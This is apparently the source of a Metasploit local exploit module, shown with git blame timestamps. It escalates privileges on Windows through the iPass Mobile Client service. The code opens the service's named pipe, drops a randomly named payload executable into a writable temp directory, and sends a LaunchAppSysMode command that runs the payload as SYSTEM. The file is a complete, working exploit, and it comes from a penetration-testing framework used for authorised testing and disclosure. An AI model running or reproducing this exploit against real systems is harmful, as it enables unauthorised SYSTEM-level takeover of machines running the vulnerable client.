metasploit-framework/modules/exploits/windows/local/ipass_launch_app.rb

182 lines
5.0 KiB
Ruby
Raw Normal View History

2015-03-13 19:33:45 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Exploit::FileDropper
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Services
def initialize(info={})
super(update_info(info, {
'Name' => 'iPass Mobile Client Service Privilege Escalation',
'Description' => %q{
The named pipe, \IPEFSYSPCPIPE, can be accessed by normal users to interact
with the iPass service. The service provides a LaunchAppSysMode command which
2015-03-13 19:41:14 +00:00
allows to execute arbitrary commands as SYSTEM.
2015-03-13 19:33:45 +00:00
},
'License' => MSF_LICENSE,
'Author' =>
[
2015-03-13 21:52:26 +00:00
'h0ng10' # Vulnerability discovery, metasploit module
2015-03-13 19:33:45 +00:00
],
'Arch' => ARCH_X86,
'Platform' => 'win',
2015-03-13 21:52:26 +00:00
'SessionTypes' => ['meterpreter'],
2015-03-13 19:33:45 +00:00
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Windows', { } ]
],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'References' =>
[
2015-03-13 21:52:26 +00:00
['URL', 'https://www.mogwaisecurity.de/advisories/MSA-2015-03.txt']
2015-03-13 19:33:45 +00:00
],
'DisclosureDate' => 'Mar 12 2015',
'DefaultTarget' => 0
}))
register_options([
2015-03-13 21:52:26 +00:00
OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)'])
2015-03-13 19:33:45 +00:00
], self.class)
end
def check
2015-03-13 21:52:26 +00:00
os = sysinfo['OS']
unless os =~ /windows/i
return Exploit::CheckCode::Safe
end
2015-03-13 19:33:45 +00:00
2015-03-13 21:52:26 +00:00
svc = service_info('iPlatformService')
if svc && svc[:display] =~ /iPlatformService/
vprint_good("Found service '#{svc[:display]}'")
if is_running?
vprint_good('Service is running')
2015-03-13 19:33:45 +00:00
else
2015-03-13 21:52:26 +00:00
vprint_error('Service is not running!')
end
vprint_good('Opening named pipe...')
handle = open_named_pipe('\\\\.\\pipe\\IPEFSYSPCPIPE')
if handle.nil?
vprint_error('\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found')
2015-03-13 19:33:45 +00:00
return Exploit::CheckCode::Safe
2015-03-13 21:52:26 +00:00
else
vprint_good('\\\\.\\pipe\\IPEFSYSPCPIPE found!')
session.railgun.kernel32.CloseHandle(handle)
2015-03-13 19:33:45 +00:00
end
2015-03-13 21:52:26 +00:00
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
2015-03-13 19:33:45 +00:00
end
end
def open_named_pipe(pipe)
invalid_handle_value = 0xFFFFFFFF
2015-03-13 21:52:26 +00:00
r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0x3, nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL', 0)
2015-03-13 19:33:45 +00:00
handle = r['return']
return nil if handle == invalid_handle_value
2015-03-13 21:52:26 +00:00
handle
2015-03-13 19:33:45 +00:00
end
def write_named_pipe(handle, command)
buffer = Rex::Text.to_unicode(command)
w = client.railgun.kernel32.WriteFile(handle, buffer, buffer.length, 4, nil)
if w['return'] == false
2015-03-13 21:52:26 +00:00
print_error('The was an error writing to pipe, check permissions')
return false
2015-03-13 19:33:45 +00:00
end
2015-03-13 21:52:26 +00:00
true
2015-03-13 19:33:45 +00:00
end
def is_running?
begin
status = service_status('iPlatformService')
rescue RuntimeError => e
2015-03-13 21:52:26 +00:00
print_error('Unable to retrieve service status')
2015-03-13 19:33:45 +00:00
return false
end
2015-03-13 21:52:26 +00:00
return status && status[:state] == 4
2015-03-13 19:33:45 +00:00
end
def exploit
if is_system?
2015-03-13 21:52:26 +00:00
fail_with(Failure::NoTarget, 'Session is already elevated')
2015-03-13 19:33:45 +00:00
end
handle = open_named_pipe("\\\\.\\pipe\\IPEFSYSPCPIPE")
if handle.nil?
2015-03-13 21:52:26 +00:00
fail_with(Failure::NoTarget, "\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found")
2015-03-13 19:33:45 +00:00
else
2015-03-13 21:52:26 +00:00
print_status("Opended \\\\.\\pipe\\IPEFSYSPCPIPE! Proceeding...")
2015-03-13 19:33:45 +00:00
end
2015-03-13 21:52:26 +00:00
if datastore['WritableDir'] and not datastore['WritableDir'].empty?
temp_dir = datastore['WritableDir']
2015-03-13 19:33:45 +00:00
else
2015-03-13 21:52:26 +00:00
temp_dir = client.sys.config.getenv('TEMP')
2015-03-13 19:33:45 +00:00
end
print_status("Using #{temp_dir} to drop malicious exe")
begin
2015-03-13 21:52:26 +00:00
cd(temp_dir)
2015-03-13 19:33:45 +00:00
rescue Rex::Post::Meterpreter::RequestError
session.railgun.kernel32.CloseHandle(handle)
2015-04-16 20:04:11 +00:00
fail_with(Failure::BadConfig, "Failed to use the #{temp_dir} directory")
2015-03-13 19:33:45 +00:00
end
2015-03-13 21:52:26 +00:00
print_status('Writing malicious exe to remote filesystem')
2015-03-13 19:33:45 +00:00
write_path = pwd
exe_name = "#{rand_text_alpha(10 + rand(10))}.exe"
begin
write_file(exe_name, generate_payload_exe)
register_file_for_cleanup("#{write_path}\\#{exe_name}")
rescue Rex::Post::Meterpreter::RequestError
session.railgun.kernel32.CloseHandle(handle)
2015-03-13 21:52:26 +00:00
fail_with(Failure::Unknown, "Failed to drop payload into #{temp_dir}")
2015-03-13 19:33:45 +00:00
end
2015-03-13 21:52:26 +00:00
print_status('Sending LauchAppSysMode command')
2015-03-13 19:33:45 +00:00
begin
2015-03-13 21:52:26 +00:00
write_res = write_named_pipe(handle, "iPass.EventsAction.LaunchAppSysMode #{write_path}\\#{exe_name};;;")
2015-03-13 19:33:45 +00:00
rescue Rex::Post::Meterpreter::RequestError
session.railgun.kernel32.CloseHandle(handle)
2015-03-13 21:52:26 +00:00
fail_with(Failure::Unknown, 'Failed to write to pipe')
2015-03-13 19:33:45 +00:00
end
2015-03-13 21:52:26 +00:00
unless write_res
fail_with(Failure::Unknown, 'Failed to write to pipe')
end
2015-03-13 19:33:45 +00:00
end
end